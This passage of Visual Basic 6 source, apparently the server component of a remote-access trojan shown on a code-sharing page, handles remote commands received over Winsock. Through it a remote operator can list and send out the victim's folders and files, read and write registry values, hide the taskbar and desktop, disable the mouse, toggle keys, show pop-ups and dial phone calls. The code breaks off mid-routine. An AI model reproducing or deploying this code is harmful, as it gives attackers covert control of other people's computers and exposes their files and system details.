📄 server.frm
字号:
SendString = CStr("[FOLD LIST]" & SendString)
WinsockCtl.SendData SendString
Else
For M = 0 To 10
If M = 0 Then
WinsockCtl.SendData "A" & M & Mid(SendString, 1, Len(SendString) / 10)
Else
WinsockCtl.SendData "A" & M & Mid(SendString, (Len(SendString) / 10) * M, Len(SendString) / 10)
End If
WaitTime = 0
Do Until WaitTime = 0.000001
WaitTime = WaitTime + 0.000001
DoEvents
Loop
Next M
WinsockCtl.SendData "[FOLD ADD]"
End If
End If
If Left(SendData, 18) = "[LOAD FOLDER NAME]" Then
FolderPath = Mid(SendData, 19, Len(SendData) - 18)
ListDir.Path = FolderPath
SendString = ""
For M = 0 To ListDir.ListCount - 1
SendString = SendString & Chr(0) & ListDir.List(M)
Next M
SendString = SendString & Chr(0)
If Len(SendString) < 4000 Then
SendString = CStr("[FOLD LIST]" & SendString)
WinsockCtl.SendData SendString
Else
For M = 0 To 10
If M = 0 Then
WinsockCtl.SendData "A" & M & Mid(SendString, 1, Len(SendString) / 10)
Else
WinsockCtl.SendData "A" & M & Mid(SendString, (Len(SendString) / 10) * M, Len(SendString) / 10)
End If
WaitTime = 0
Do Until WaitTime = 0.000001
WaitTime = WaitTime + 0.000001
DoEvents
Loop
Next M
WinsockCtl.SendData "[FOLD ADD]"
End If
End If
If Left(SendData, 18) = "[LOAD FOLDER DATA]" Then
FolderPath = Mid(SendData, 19, Len(SendData) - 18)
FileList.Path = FolderPath
SendString = ""
For M = 0 To FileList.ListCount - 1
SendString = SendString & Chr(0) & FileList.List(M)
Next M
SendString = SendString & Chr(0)
If Len(SendString) < 4000 Then
SendString = CStr("[FILE LIST]" & SendString)
WinsockCtl.SendData SendString
Else
For M = 0 To 10
If M = 0 Then
WinsockCtl.SendData "A" & M & Mid(SendString, 1, Len(SendString) / 10)
Else
WinsockCtl.SendData "A" & M & Mid(SendString, (Len(SendString) / 10) * M, Len(SendString) / 10)
End If
WaitTime = 0
Do Until WaitTime = 0.000001
WaitTime = WaitTime + 0.000001
DoEvents
Loop
Next M
WinsockCtl.SendData "[FILE ADD]"
End If
End If
If Left(SendData, 16) = "[FILE SIZE DATA]" Then
FolderPath = Mid(SendData, 17, Len(SendData) - 16)
FileList.Path = FolderPath
SendString = ""
For M = 0 To FileList.ListCount - 1
If Right(FileList.Path, 1) = "\" Or Right(FileList.Path, 1) = "/" Then
SendString = SendString & Chr(0) & FileLen(FileList.Path & FileList.List(M))
Else
SendString = SendString & Chr(0) & FileLen(FileList.Path & "\" & FileList.List(M))
End If
Next M
SendString = SendString & Chr(0)
If Len(SendString) < 4000 Then
SendString = CStr("[FSAA]" & SendString)
WinsockCtl.SendData SendString
End If
End If
Select Case Left(SendData, 3)
'ALL BELOW ARE FEATURES FOR THE ClientS USE (ADDON_S)
Case "1-1":
'FILE TRANSFER DATA
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
TransferFileName = Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)))
TotalBytes = CLng(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "1-0":
'SEND FILE TO CONNECTED Client (USING THE DATA WINSOCK CONTROL)
TransferFileName = Mid(SendData, 4, Len(SendData) - 3)
Send_File TransferFileName
Case "0-9":
'UNPRESSED INSERT
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetInsertKey False
Case "0-8":
'SET CAPS LOCK OFF
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetCapsLock False
Case "0-7":
'SET NUM LOCK OFF
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetNumLock False
Case "0-6":
'SET SCROLL LOCK OFF
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetScrollLock False
Case "0-5":
'PRESSED ALT KEY
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
AltKey
Case "0-4":
'PRESSED SHIFT
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
ShiftKey
Case "0-3":
'PRESSED CTRL
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
CtrlKey
Case "0-2":
'PRESSED INSERT
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetInsertKey True
Case "0-1":
'LOAD INFO
WinsockCtl.SendData "[INFO]" & GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "RegisteredOwner") & Chr(0) & GetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION", "Version") & Chr(0) & CStr(App.Major & "." & App.Minor & "." & App.Revision)
'ALL NEXT FUNCTIONS ARE BASED ON OPTIONS IN THE MAIN CLINT.
Case "000":
'END THE SERVER
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
End
Case "001":
'SET MESSAGE POPUP
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
Select Case Mid(SendData, 4, 1)
Case 0: MsgBox Mid(SendData, 5, Len(SendData) - 4), vbOKOnly, "Message"
Case 1: MsgBox Mid(SendData, 5, Len(SendData) - 4), vbQuestion, "Message"
Case 2: MsgBox Mid(SendData, 5, Len(SendData) - 4), vbInformation, "Message"
Case 3: MsgBox Mid(SendData, 5, Len(SendData) - 4), vbExclamation, "Message"
Case 4: MsgBox Mid(SendData, 5, Len(SendData) - 4), vbCritical, "Message"
End Select
Case "002":
'GET KEYBOARD TYPE
WinsockCtl.SendData "001" & KeyboardInfo
Case "003":
'GET CARET BLINK RATE
WinsockCtl.SendData "002" & GetCaretBlink
Case "004":
'SET CARET BLINK RATE
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetCaretBlink CLng(Mid(SendData, 4, Len(SendData) - 3))
Case "005":
'GET DOUBLE CLICK RATE
WinsockCtl.SendData "003" & GetDoubleClick
Case "006":
'OPEN SYSTEM INFO DIALOG
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
GetSysInfo
Case "007":
'OPEN FILE PROPERTIES
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
ShowProperties Mid(SendData, 4, Len(SendData) - 3), 0
Case "008":
'CLEAR DOCUMENTS
ClearDocuments
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
Case "009":
'ADD TO DOCUMENTS
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
AddToDocuments Mid(SendData, 4, Len(SendData) - 3)
Case "010":
'MAKE A PHONE CALL
If InternetAutodialHangup(0) Then
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
PhoneCall Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M)
Exit For
End If
Next M
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
Else
WinsockCtl.SendData "M4请求发送信息的数据已经被发送了"
End If
Case "011":
'SET CAPS LOCK ON
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetCapsLock True
Case "012":
'SET NUM LOCK ON
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetNumLock True
Case "013":
'SET SCROLL LOCK ON
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SetScrollLock True
Case "014":
'ENABLE / DISABLE MOUSE CURSOR
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
If Mid(SendData, 4, Len(SendData) - 3) = "0" Then
Cursor True
Else
Cursor False
End If
Case "015":
'CHECK FOR A SOUND CARD
WinsockCtl.SendData "004" & IsThereASoundCard
Case "016":
'GET CYT 1.0 FILENAME NUMBER
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
WinsockCtl.SendData "005" & SOUNDPRECACHEGetNameNumber(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "017":
'PASSWORD CALULATOR
WinsockCtl.SendData "006" & PasswordCalculateMaker(Mid(SendData, 4, Len(SendData) - 3))
Case "018":
'HIDE TASKBAR
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
HideTaskBar
Case "019":
'SHOW TASKBAR
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
ShowTaskBar
Case "020":
'HIDE DESKTOP
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
HideDesktop
Case "021":
'SHOW DESKTOP
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
ShowDesktop
Case "022":
'PLAY SOUND
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
sndPlaySound Mid(SendData, 4, Len(SendData) - 3), 1
Case "023":
'START DOCUMENT
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
StartDoc Mid(SendData, 4, Len(SendData) - 3)
Case "024":
'SET DWORD VALUE
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SendData = Mid(SendData, 4, Len(SendData) - 3)
For M = 1 To Len(SendData)
ChrState = Mid(SendData, M, 1)
If ChrState = Chr(0) Or M = 1 Then
Select Case CountVal
Case 0: LastLen = M: CountVal = 1
Case 1: val01 = Left(SendData, M - LastLen): LastLen = M: CountVal = 2
Case 2:
val03 = Right(SendData, Len(SendData) - M): CountVal = 3
val02 = Mid(SendData, LastLen + 1, Len(SendData) - (LastLen + Len(val03) + 1))
End Select
End If
Next M
SetDWORDValue val01, val02, CLng(val03)
Case "025":
'GET DWORD VALUE
For M = 1 To Len(Mid(SendData, 4, Len(SendData) - 3))
If Mid(Mid(SendData, 4, Len(SendData) - 3), M, 1) = Chr(0) Then
WinsockCtl.SendData "007" & GetDWORDValue(Mid(SendData, 4, Len(SendData) - 4 - Len(Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))), Right(SendData, Len(Mid(SendData, 4, Len(SendData) - 3)) - M))
Exit For
End If
Next M
Case "026":
'SET BINARY VALUE
WinsockCtl.SendData "M2请求发送信息的数据已经被发送了"
SendData = Mid(SendData, 4, Len(SendData) - 3)
For M = 1 To Len(SendData)
ChrState = Mid(SendData, M, 1)
If ChrState = Chr(0) Or M = 1 Then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -